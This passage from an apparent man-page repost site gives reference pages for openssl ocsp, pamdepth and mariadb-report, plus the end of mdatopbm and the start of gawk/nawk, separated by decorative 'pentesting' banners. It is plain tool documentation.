Double the height of the output file, to compensate for the aspect ratio used in MicroDesign files.

-i
Invert the colors used.


End of options (use this if the filename starts with “-”)

The program also accepts option -a for historical reasons, for the same meaning as the Netpbm common option -plain.

SEE ALSO

pbmtomda(1) , pbm(1)

AUTHOR

Copyright (C) 1999 John Elliott <[email protected]>.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/mdatopbm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2299 - Linux cli command openssl-ocspssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-ocspssl and provides detailed information about the command openssl-ocspssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-ocspssl.

NAME 🖥️ openssl-ocspssl 🖥️

ocsp - Online Certificate Status Protocol command

SYNOPSIS

OCSP Client

openssl ocsp [-help] [-out file] [-issuer file] [-cert file] [-no_certs] [-serial n] [-signer file] [-signkey file] [-sign_other file] [-nonce] [-no_nonce] [-req_text] [-resp_text] [-text] [-reqout file] [-respout file] [-reqin file] [-respin file] [-url URL] [-host host:port] [-path pathname] [-proxy [http[s]://][userinfo@]host[:port][/path]] [-no_proxy addresses] [-header] [-timeout seconds] [-VAfile file] [-validity_period n] [-status_age n] [-noverify] [-verify_other file] [-trust_other] [-no_intern] [-no_signature_verify] [-no_cert_verify] [-no_chain] [-no_cert_checks] [-no_explicit] [-port num] [-ignore_err]

OCSP Server

openssl ocsp [-index file] [-CA file] [-rsigner file] [-rkey file] [-passin arg] [-rother file] [-rsigopt nm:v] [-rmd digest] [-badsig] [-resp_no_certs] [-nmin n] [-ndays n] [-resp_key_id] [-nrequest n] [-multi process-count] [-rcid digest] [-digest] [-CAfile file] [-no-CAfile] [-CApath dir] [-no-CApath] [-CAstore uri] [-no-CAstore] [-allow_proxy_certs] [-attime timestamp] [-no_check_time] [-check_ss_sig] [-crl_check] [-crl_check_all] [-explicit_policy] [-extended_crl] [-ignore_critical] [-inhibit_any] [-inhibit_map] [-partial_chain] [-policy arg] [-policy_check] [-policy_print] [-purpose purpose] [-suiteB_128] [-suiteB_128_only] [-suiteB_192] [-trusted_first] [-no_alt_chains] [-use_deltas] [-auth_level num] [-verify_depth num] [-verify_email email] [-verify_hostname hostname] [-verify_ip ip] [-verify_name name] [-x509_strict] [-issuer_checks] [-provider name] [-provider-path path] [-propquery propq]

DESCRIPTION

The Online Certificate Status Protocol (OCSP) enables applications to determine the (revocation) state of an identified certificate (RFC 2560).

This command performs many common OCSP tasks. It can be used to print out requests and responses, create requests and send queries to an OCSP responder and behave like a mini OCSP server itself.

OPTIONS

This command operates as either a client or a server. The options are described below, divided into those two modes.

OCSP Client Options

-help
Print out a usage message.

-out filename
specify output filename, default is standard output.

-issuer filename
This specifies the current issuer certificate. The input can be in PEM, DER, or PKCS#12 format. This option can be used multiple times. This option MUST come before any -cert options.

-cert filename
Add the certificate filename to the request. The input can be in PEM, DER, or PKCS#12 format. This option can be used multiple times. The issuer certificate is taken from the previous -issuer option, or an error occurs if no issuer certificate is specified.

-no_certs
Don’t include any certificates in signed request.

-serial num
Same as the -cert option except the certificate with serial number num is added to the request. The serial number is interpreted as a decimal integer unless preceded by 0x. Negative integers can also be specified by preceding the value by a - sign.

-signer filename, -signkey filename
Sign the OCSP request using the certificate specified in the -signer option and the private key specified by the -signkey option. The input can be in PEM, DER, or PKCS#12 format. If the -signkey option is not present then the private key is read from the same file as the certificate. If neither option is specified then the OCSP request is not signed.

-sign_other filename
Additional certificates to include in the signed request. The input can be in PEM, DER, or PKCS#12 format.

-nonce, -no_nonce
Add an OCSP nonce extension to a request or disable OCSP nonce addition. Normally if an OCSP request is input using the -reqin option no nonce is added: using the -nonce option will force addition of a nonce. If an OCSP request is being created (using -cert and -serial options) a nonce is automatically added specifying -no_nonce overrides this.

-req_text, -resp_text, -text
Print out the text form of the OCSP request, response or both respectively.

-reqout file, -respout file
Write out the DER encoded certificate request or response to file.

-reqin file, -respin file
Read OCSP request or response file from file. These option are ignored if OCSP request or response creation is implied by other options (for example with -serial, -cert and -host options).

-url responder_url
Specify the responder host and optionally port and path via a URL. Both HTTP and HTTPS (SSL/TLS) URLs can be specified. The optional userinfo and fragment components are ignored. Any given query component is handled as part of the path component. For details, see the -host and -path options described next.

-host host:port, -path pathname
If the -host option is present then the OCSP request is sent to the host host on port port. The host may be a domain name or an IP (v4 or v6) address, such as 127.0.0.1 or [::1] for localhost. The -path option specifies the HTTP pathname to use or “/” by default. This is equivalent to specifying -url with scheme http:// and the given host, port, and optional pathname.

-proxy [http[s]://][userinfo@]host[:port][/path]
The HTTP(S) proxy server to use for reaching the OCSP server unless -no_proxy applies, see below. The proxy port defaults to 80 or 443 if the scheme is https; apart from that the optional http:// or https:// prefix is ignored, as well as any userinfo and path components. Defaults to the environment variable http_proxy if set, else HTTP_PROXY in case no TLS is used, otherwise https_proxy if set, else HTTPS_PROXY.

-no_proxy addresses
List of IP addresses and/or DNS names of servers not to use an HTTP(S) proxy for, separated by commas and/or whitespace (where in the latter case the whole argument must be enclosed in “…”). Default is from the environment variable no_proxy if set, else NO_PROXY.

-header name=value
Adds the header name with the specified value to the OCSP request that is sent to the responder. This may be repeated.

-timeout seconds
Connection timeout to the OCSP responder in seconds. On POSIX systems, when running as an OCSP responder, this option also limits the time that the responder is willing to wait for the client request. This time is measured from the time the responder accepts the connection until the complete request is received.

-verify_other file
File or URI containing additional certificates to search when attempting to locate the OCSP response signing certificate. Some responders omit the actual signer’s certificate from the response: this option can be used to supply the necessary certificate in such cases. The input can be in PEM, DER, or PKCS#12 format.

-trust_other
The certificates specified by the -verify_other option should be explicitly trusted and no additional checks will be performed on them. This is useful when the complete responder certificate chain is not available or trusting a root CA is not appropriate.

-VAfile file
File or URI containing explicitly trusted responder certificates. Equivalent to the -verify_other and -trust_other options. The input can be in PEM, DER, or PKCS#12 format.

-noverify
Don’t attempt to verify the OCSP response signature or the nonce values. This option will normally only be used for debugging since it disables all verification of the responders certificate.

-no_intern
Ignore certificates contained in the OCSP response when searching for the signers certificate. With this option the signers certificate must be specified with either the -verify_other or -VAfile options.

-no_signature_verify
Don’t check the signature on the OCSP response. Since this option tolerates invalid signatures on OCSP responses it will normally only be used for testing purposes.

-no_cert_verify
Don’t verify the OCSP response signers certificate at all. Since this option allows the OCSP response to be signed by any certificate it should only be used for testing purposes.

-no_chain
Do not use certificates in the response as additional untrusted CA certificates.

-no_explicit
Do not explicitly trust the root CA if it is set to be trusted for OCSP signing.

-no_cert_checks
Don’t perform any additional checks on the OCSP response signers certificate. That is do not make any checks to see if the signers certificate is authorised to provide the necessary status information: as a result this option should only be used for testing purposes.

-validity_period nsec, -status_age age
These options specify the range of times, in seconds, which will be tolerated in an OCSP response. Each certificate status response includes a notBefore time and an optional notAfter time. The current time should fall between these two values, but the interval between the two times may be only a few seconds. In practice the OCSP responder and clients clocks may not be precisely synchronised and so such a check may fail. To avoid this the -validity_period option can be used to specify an acceptable error range in seconds, the default value is 5 minutes. If the notAfter time is omitted from a response then this means that new status information is immediately available. In this case the age of the notBefore field is checked to see it is not older than age seconds old. By default this additional check is not performed.

-rcid digest
This option sets the digest algorithm to use for certificate identification in the OCSP response. Any digest supported by the openssl-dgst (1) command can be used. The default is the same digest algorithm used in the request.

-digest
This option sets digest algorithm to use for certificate identification in the OCSP request. Any digest supported by the OpenSSL dgst command can be used. The default is SHA-1. This option may be used multiple times to specify the digest used by subsequent certificate identifiers.

-CAfile file, -no-CAfile, -CApath dir, -no-CApath, -CAstore uri, -no-CAstore
See “Trusted Certificate Options” in openssl-verification-options (1) for details.

-allow_proxy_certs, -attime, -no_check_time, -check_ss_sig, -crl_check, -crl_check_all, -explicit_policy, -extended_crl, -ignore_critical, -inhibit_any, -inhibit_map, -no_alt_chains, -partial_chain, -policy, -policy_check, -policy_print, -purpose, -suiteB_128, -suiteB_128_only, -suiteB_192, -trusted_first, -use_deltas, -auth_level, -verify_depth, -verify_email, -verify_hostname, -verify_ip, -verify_name, -x509_strict -issuer_checks
Set various options of certificate chain verification. See “Verification Options” in openssl-verification-options (1) for details.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

OCSP Server Options

-index indexfile
The indexfile parameter is the name of a text index file in ca format containing certificate revocation information. If the -index option is specified then this command switches to responder mode, otherwise it is in client mode. The request(s) the responder processes can be either specified on the command line (using -issuer and -serial options), supplied in a file (using the -reqin option) or via external OCSP clients (if -port or -url is specified). If the -index option is present then the -CA and -rsigner options must also be present.

-CA file
CA certificates corresponding to the revocation information in the index file given with -index. The input can be in PEM, DER, or PKCS#12 format.

-rsigner file
The certificate to sign OCSP responses with. The input can be in PEM, DER, or PKCS#12 format.

-rkey file
The private key to sign OCSP responses with: if not present the file specified in the -rsigner option is used.

-passin arg
The private key password source. For more information about the format of arg see openssl-passphrase-options (1).

-rother file
Additional certificates to include in the OCSP response. The input can be in PEM, DER, or PKCS#12 format.

-rsigopt nm:v
Pass options to the signature algorithm when signing OCSP responses. Names and values of these options are algorithm-specific.

-rmd digest
The digest to use when signing the response.

-badsig
Corrupt the response signature before writing it; this can be useful for testing.

-resp_no_certs
Don’t include any certificates in the OCSP response.

-resp_key_id
Identify the signer certificate using the key ID, default is to use the subject name.

-port portnum
Port to listen for OCSP requests on. Both IPv4 and IPv6 are possible. The port may also be specified using the -url option. A 0 argument indicates that any available port shall be chosen automatically.

-ignore_err
Ignore malformed requests or responses: When acting as an OCSP client, retry if a malformed response is received. When acting as an OCSP responder, continue running instead of terminating upon receiving a malformed request.

-nrequest number
The OCSP server will exit after receiving number requests, default unlimited.

-multi process-count
Run the specified number of OCSP responder child processes, with the parent process respawning child processes as needed. Child processes will detect changes in the CA index file and automatically reload it. When running as a responder -timeout option is recommended to limit the time each child is willing to wait for the client’s OCSP response. This option is available on POSIX systems (that support the fork() and other required unix system-calls).

-nmin minutes, -ndays days
Number of minutes or days when fresh revocation information is available: used in the nextUpdate field. If neither option is present then the nextUpdate field is omitted meaning fresh revocation information is immediately available.

OCSP RESPONSE VERIFICATION

OCSP Response follows the rules specified in RFC2560.

Initially the OCSP responder certificate is located and the signature on the OCSP request checked using the responder certificate’s public key.

Then a normal certificate verify is performed on the OCSP responder certificate building up a certificate chain in the process. The locations of the trusted certificates used to build the chain can be specified by the -CAfile, -CApath or -CAstore options or they will be looked for in the standard OpenSSL certificates directory.

If the initial verify fails then the OCSP verify process halts with an error.

Otherwise the issuing CA certificate in the request is compared to the OCSP responder certificate: if there is a match then the OCSP verify succeeds.

Otherwise the OCSP responder certificate’s CA is checked against the issuing CA certificate in the request. If there is a match and the OCSPSigning extended key usage is present in the OCSP responder certificate then the OCSP verify succeeds.

Otherwise, if -no_explicit is not set the root CA of the OCSP responders CA is checked to see if it is trusted for OCSP signing. If it is the OCSP verify succeeds.

If none of these checks is successful then the OCSP verify fails.

What this effectively means if that if the OCSP responder certificate is authorised directly by the CA it is issuing revocation information about (and it is correctly configured) then verification will succeed.

If the OCSP responder is a “global responder” which can give details about multiple CAs and has its own separate certificate chain then its root CA can be trusted for OCSP signing. For example:

openssl x509 -in ocspCA.pem -addtrust OCSPSigning -out trustedCA.pem

Alternatively the responder certificate itself can be explicitly trusted with the -VAfile option.

NOTES

As noted, most of the verify options are for testing or debugging purposes. Normally only the -CApath, -CAfile, -CAstore and (if the responder is a ‘global VA’) -VAfile options need to be used.

The OCSP server is only useful for test and demonstration purposes: it is not really usable as a full OCSP responder. It contains only a very simple HTTP request handling and can only handle the POST form of OCSP queries. It also handles requests serially meaning it cannot respond to new requests until it has processed the current one. The text index file format of revocation is also inefficient for large quantities of revocation data.

It is possible to run this command in responder mode via a CGI script using the -reqin and -respout options.

EXAMPLES

Create an OCSP request and write it to a file:

openssl ocsp -issuer issuer.pem -cert c1.pem -cert c2.pem -reqout req.der

Send a query to an OCSP responder with URL http://ocsp.myhost.com/ save the response to a file, print it out in text form, and verify the response:

openssl ocsp -issuer issuer.pem -cert c1.pem -cert c2.pem \ -url http://ocsp.myhost.com/ -resp_text -respout resp.der

Read in an OCSP response and print out text form:

openssl ocsp -respin resp.der -text -noverify

OCSP server on port 8888 using a standard ca configuration, and a separate responder certificate. All requests and responses are printed to a file.

openssl ocsp -index demoCA/index.txt -port 8888 -rsigner rcert.pem -CA demoCA/cacert.pem -text -out log.txt

As above but exit after processing one request:

openssl ocsp -index demoCA/index.txt -port 8888 -rsigner rcert.pem -CA demoCA/cacert.pem -nrequest 1

Query status information using an internally generated request:

openssl ocsp -index demoCA/index.txt -rsigner rcert.pem -CA demoCA/cacert.pem -issuer demoCA/cacert.pem -serial 1

Query status information using request read from a file, and write the response to a second file.

openssl ocsp -index demoCA/index.txt -rsigner rcert.pem -CA demoCA/cacert.pem -reqin req.der -respout resp.der

HISTORY

The -no_alt_chains option was added in OpenSSL 1.1.0.

COPYRIGHT

Copyright 2001-2023 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2300 - Linux cli command pamdepth

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamdepth and provides detailed information about the command pamdepth, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamdepth.

.

NAME 🖥️ pamdepth 🖥️

change the depth (color resolution) in a Netpbm image

SYNOPSIS

pamdepth newmaxval [netpbmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pamdepth reads a Netpbm image as input, changes its depth (color resolution), and writes out the resulting Netpbm image. I.e. the output has a different maxval from the input, but all the same colors (apart from rounding error).

Reducing the depth results in some loss of information.

Here is an example of the effect at the image format level: Assume you start with an image with maxval 100 and sample values of 50 and 100. You tell pamdepth to change it to depth 150. The output has maxval 200 and sample values 75 and 150.

This program works on multi-image streams.

Be careful of off-by-one errors when choosing the new maxval. For instance, if you want the color values to be five bits wide, use a maxval of 31, not 32.

One important use of pamdepth is to convert a new format 2-byte-per-sample PNM file to the older 1-byte-per-sample format. Before April 2000, essentially all raw (binary) format PNM files had a maxval less than 256 and one byte per sample, and many programs may rely on that. If you specify a newmaxval less than 256, the resulting file should be readable by any program that worked with PNM files before April 2000.

Output Format

The output format (PBM, etc.) and, in the case of PAM, tuple type, of the output is usually the same as the input.

However, changing the depth of a black and white image does not make sense, except to turn it into a grayscale image, so if the input is a black and white image, pamdepth makes the output grayscale. To be more precise, if the input is a PBM image, the output is PGM, and if the input is a PAM with tuple type BLACK_AND_WHITE or BLACK_AND_WHITE_ALPHA, the output is a PAM with tuple type GRAYSCALE or GRAYSCALE_ALPHA, respectively.

This conversion happens even if the new maxval is 1.

Before Netpbm 10.92 (September 2020), pamdepth failed if the input was PAM with a black and white tuple type and the new maxval was anything but 1. But it always promoted PBM to PGM.

OPTIONS

There are no command line options defined specifically for pamdepth, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pnm(1) , pam(1) , pnmquant(1) , ppmdither(1) pambrighten(1) pamfunc(1)

HISTORY

pamdepth was new in Netpbm 10.32 (February 2006). It replaced pnmdepth, by Jef Poskanzer. pamdepth is backward compatible with pnmdepth and adds the ability to process arbitrary PAM images and the ability to process multi-image input streams. pnmdepth handled only PNM images and ignored all but the first in any stream.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamdepth.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2301 - Linux cli command mariadb-report

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mariadb-report and provides detailed information about the command mariadb-report, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mariadb-report.

NAME 🖥️ mariadb-report 🖥️

Makes a friendly report of important MySQL status values

SYNTAX

mysqlreport [options]

DESCRIPTION

mysqlreport makes a friendly report of important MySQL status values. Actually, it makes a friendly report of nearly every status value from SHOW STATUS. Unlike SHOW STATUS which simply dumps over 100 values to screen in one long list, mysqlreport interprets and formats the values and presents the basic values and many more inferred values in a human-readable format. Numerous example reports are available at the mysqlreport web page at http://hackmysql.com/mysqlreport.

The benefit of mysqlreport is that it allows you to very quickly see a wide array of performance indicators for your MySQL server which would otherwise need to be calculated by hand from all the various SHOW STATUS values. For example, the Index Read Ratio is an important value but it’s not present in SHOW STATUS; it’s an inferred value (the ratio of Key_reads to Key_read_requests).

This documentation outlines all the command line options in mysqlreport, most of which control which reports are printed. This document does not address how to interpret these reports; that topic is covered in the document Guide To Understanding mysqlreport at http://hackmysql.com/mysqlreportguide.

OPTIONS

Technically, command line options are in the form –option, but -option works too. All options can be abbreviated if the abbreviation is unique. For example, option –host can be abbreviated –ho but not –h because –h is ambiguous: it could mean –host or –help.

–help
Output help information and exit.

–user USER
–password
As of version 2.3 –password can take the password on the command line like “–password FOO”. Using –password alone without giving a password on the command line causes mysqlreport to prompt for a password.

–host ADDRESS
–port PORT
–socket SOCKET
–no-mycnf
–no-mycnf makes mysqlreport not read ~/.my.cnf which it does by default otherwise. –user and –password always override values from ~/.my.cnf.

–dtq
Print Distribution of Total Queries (DTQ) report (under Total in Questions report). Queries (or Questions) can be divided into four main areas: DMS (see –dms below), Com_ (see –com below), COM_QUIT (see COM_QUIT and Questions at http://hackmysql.com/com_quit), and Unknown. –dtq lists the number of queries in each of these areas in descending order.

–dms
Print Data Manipulation Statements (DMS) report (under DMS in Questions report). DMS are those from the MySQL manual section 13.2. Data Manipulation Statements. (Currently, mysqlreport considers only SELECT, INSERT, REPLACE, UPDATE, and DELETE.) Each DMS is listed in descending order by count.

–com N
Print top N number of non-DMS Com_ status values in descending order (after DMS in Questions report). If N is not given, default is 3. Such non-DMS Com_ values include Com_change_db, Com_show_tables, Com_rollback, etc.

–sas
Print report for Select_ and Sort_ status values (after Questions report). See MySQL Select and Sort Status Variables at http://hackmysql.com/selectandsort.

–tab
Print Threads, Aborted, and Bytes status reports (after Created temp report). As of mysqlreport v2.3 the Threads report reports on all Threads_ status values.

–qcache
Print Query Cache report.

–all
Equivalent to “–dtq –dms –com 3 –sas –qcache”. (Notice –tab is not invoked by –all.)

–infile FILE
Instead of getting SHOW STATUS values from MySQL, read values from FILE. FILE is often a copy of the output of SHOW STATUS including formatting characters (|, +, -). mysqlreport expects FILE to have the format " value number " where value is only alpha and underscore characters (A-Z and _) and number is a positive integer. Anything before, between, or after value and number is ignored. mysqlreport also needs the following MySQL server variables: version, table_cache, max_connections, key_buffer_size, query_cache_size. These values can be specified in INFILE in the format “name = value” where name is one of the aforementioned server variables and value is a positive integer with or without a trailing M and possible periods (for version). For example, to specify an 18M key_buffer_size: key_buffer_size = 18M. Or, a 256 table_cache: table_cache = 256. The M implies Megabytes not million, so 18M means 18,874,368 not 18,000,000. If these server variables are not specified the following defaults are used (respectively) which may cause strange values to be reported: 0.0.0, 64, 100, 8M, 0.

–outfile FILE
After printing the report to screen, print the report to FILE too. Internally, mysqlreport always writes the report to a temp file first: /tmp/mysqlreport.PID on *nix, c:sqlreport.PID on Windows (PID is the script’s process ID). Then it prints the temp file to screen. Then if –outfile is specified, the temp file is copied to OUTFILE. After –email (below), the temp file is deleted.

–email ADDRESS
After printing the report to screen, email the report to ADDRESS. This option requires sendmail in /usr/sbin/, therefore it does not work on Windows. /usr/sbin/sendmail can be a sym link to qmail, for example, or any MTA that emulates sendmail’s -t command line option and operation. The FROM: field is “mysqlreport”, SUBJECT: is “MySQL status report”.

–flush-status
Execute a “FLUSH STATUS;” after generating the reports. If you do not have permissions in MySQL to do this an error from DBD::MariaDB::st will be printed after the reports.

AUTHORS

Daniel Nichter

If mysqlreport breaks, send me a message from http://hackmysql.com/feedback with the error.

SEE ALSO

mytop(1)

The comprehensive Guide To Understanding mysqlreport at http://hackmysql.com/mysqlreportguide.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2302 - Linux cli command nawk

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command nawk and provides detailed information about the command nawk, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the nawk.

NAME 🖥️ nawk 🖥️

pattern scanning and processing language

SYNOPSIS

gawk [ POSIX or GNU style options ] -f program-file [ - - ] file . . .
gawk [ POSIX or GNU style options ] [ - - ] program-text file . . .

DESCRIPTION

Gawk is the GNU Project’s implementation of the AWK programming language. It conforms to the definition of the language in the POSIX 1003.1 standard. This version in turn is based on the description in The AWK Programming Language, by Aho, Kernighan, and Weinberger. Gawk provides the additional features found in the current version of Brian Kernighan’s awk and numerous GNU-specific extensions.

The command line consists of options to gawk itself, the AWK program text (if not supplied via the -f or - -include options), and values to be made available in the ARGC and ARGV pre-defined AWK variables.

PREFACE

This manual page is intentionally as terse as possible. Full details are provided in GAWK: Effective AWK Programming, and you should look there for the full story on any specific feature. Where possible, links to the online version of the manual are provided.

OPTION FORMAT

Gawk options may be either traditional POSIX-style one letter options, or GNU-style long options. POSIX options start with a single “-”, while long options start with “- -”. Long options are provided for both GNU-specific features and for POSIX-mandated features.

Gawk-specific options are typically used in long-option form. Arguments to long options are either joined with the option by an = sign, with no intervening spaces, or they may be provided in the next command line argument. Long options may be abbreviated, as long as the abbreviation remains unique.

Additionally, every long option has a corresponding short option, so that the option’s functionality may be used from within #! executable scripts.

OPTIONS

Gawk accepts the following options. Standard options are listed first, followed by options for gawk extensions, listed alphabetically by short option.

-f* program-file, *
- -file* program-file* Read the AWK program source from the file program-file, instead of from the first command line argument. Multiple -f options may be used. Files read with -f are treated as if they begin with an implicit @namespace “awk” statement.

-F* fs, *
- -field-separator* fs* Use fs for the input field separator (the value of the FS predefined variable).

-v var** = val, - -assign var = **val
Assign the value val to the variable var, before execution of the program begins. Such variable values are available to the BEGIN rule of an AWK program.

-b,
- -characters-as-bytes Treat all input data as single-byte characters. The - -posix option overrides this one.

-c,
- -traditional Run in compatibility mode. In compatibility mode, gawk behaves identically to Brian Kernighan’s awk; none of the GNU-specific extensions are recognized.

-C,
- -copyright Print the short version of the GNU copyright information message on the standard output and exit successfully.

-d[file], - -dump-variables[**=**file]
Print a sorted list of global variables, their types and final values to file. The default file is awkvars.out in the current directory.

-D[file], - -debug[**=**file]
Enable debugging of AWK programs. By default, the debugger reads commands interactively from the keyboard (standard input). The optional file argument specifies a file with a list of commands for the debugger to execute non-interactively.

In this mode of execution, gawk loads the AWK source code and then prompts for debugging commands. Gawk can only debug AWK program source provided with the -f and - -include options. The debugger is documented in GAWK: Effective AWK Programming; see https://www.gnu.org/software/gawk/manual/html_node/Debugger.html#Debugger.

-e* program-text, *
- -source* program-text* Use program-text as AWK program source code. Each argument supplied via -e is treated as if it begins with an implicit @namespace “awk” statement.

-E file, - -exec file
Similar to -f, however, this is option is the last one processed. This should be used with #! scripts, particularly for CGI applications, to avoid passing in options or source code (!) on the command line from a URL. This option disables command-line variable assignments.

-g,
- -gen-pot Scan and parse the AWK program, and generate a GNU .pot (Portable Object Template) format file on standard output with entries for all localizable strings in the program. The program itself is not executed.

-h,
- -help Print a relatively short summary of the available options on the standard output. Per the GNU Coding Standards, these options cause an immediate, successful exit.

-i include-file, - -include include-file
Load an awk source library. This searches for the library using the AWKPATH environment variable. If the initial search fails, another attempt will be made after appending the .awk suffix. The file will be loaded only once (i.e., duplicates are eliminated), and the code does not constitute the main program source. Files read with - -include are treated as if they begin with an implicit @namespace “awk” statement.

-I,
- -trace Print the internal byte code names as they are executed when running the program. The trace is printed to standard error. Each ``op code’’ is preceded by a + sign in the output.

-l* lib, *
- -load* lib* Load a gawk extension from the shared library lib. This searches for the library using the AWKLIBPATH environment variable. If the initial search fails, another attempt will be made after appending the default shared library suffix for the platform. The library initialization routine is expected to be named dl_load().

-L [value], - -lint[**=**value]
Provide warnings about constructs that are dubious or non-portable to other AWK implementations. See https://www.gnu.org/software/gawk/manual/html_node/Options.html#Options for the list of possible values for value.

-M,
- -bignum Force arbitrary precision arithmetic on numbers. This option has no effect if gawk is not compiled to use the GNU MPFR and GMP libraries. (In such a case, gawk issues a warning.)

NOTE: This feature is on parole. The primary gawk maintainer is no longer supporting it, although there is a member of the development team who is. If this situation changes, the feature will be removed from gawk.

Set GAWK_NO_MPFR_WARN in the environment to silence the warning.

-n,
- -non-decimal-data Recognize octal and hexadecimal values in input data. Use this option with great caution!

-N,
- -use-lc-numeric Force gawk to use the locale’s decimal point character when parsing input data.

-W nostalgia,
- -nostalgia Provide a moment of nostalgia for long time awk users.

-o[file], - -pretty-print[**=**file]
Output a pretty printed version of the program to file. The default file is awkprof.out in the current directory. This option implies - -no-optimize.

-O,
- -optimize Enable gawk’s default optimizations upon the internal representation of the program. This option is on by default.

-p[prof-file], - -profile[**=**prof-file]
Start a profiling session, and send the profiling data to prof-file. The default is awkprof.out in the current directory. The profile contains execution counts of each statement in the program in the left margin and function call counts for each user-defined function. Gawk runs more slowly in this mode. This option implies - -no-optimize.

-P,
- -posix This turns on compatibility mode, and disables a number of common extensions.

-r,
- -re-interval Enable the use of interval expressions in regular expression matching. Interval expressions are enabled by default, but this option remains for backwards compatibility.

-s,
- -no-optimize Disable gawk’s default optimizations upon the internal representation of the program.

-S,
- -sandbox Run gawk in sandbox mode, disabling the system() function, input redirection with getline, output redirection with print and printf, and loading dynamic extensions. Command execution (through pipelines) is also disabled.

-t,
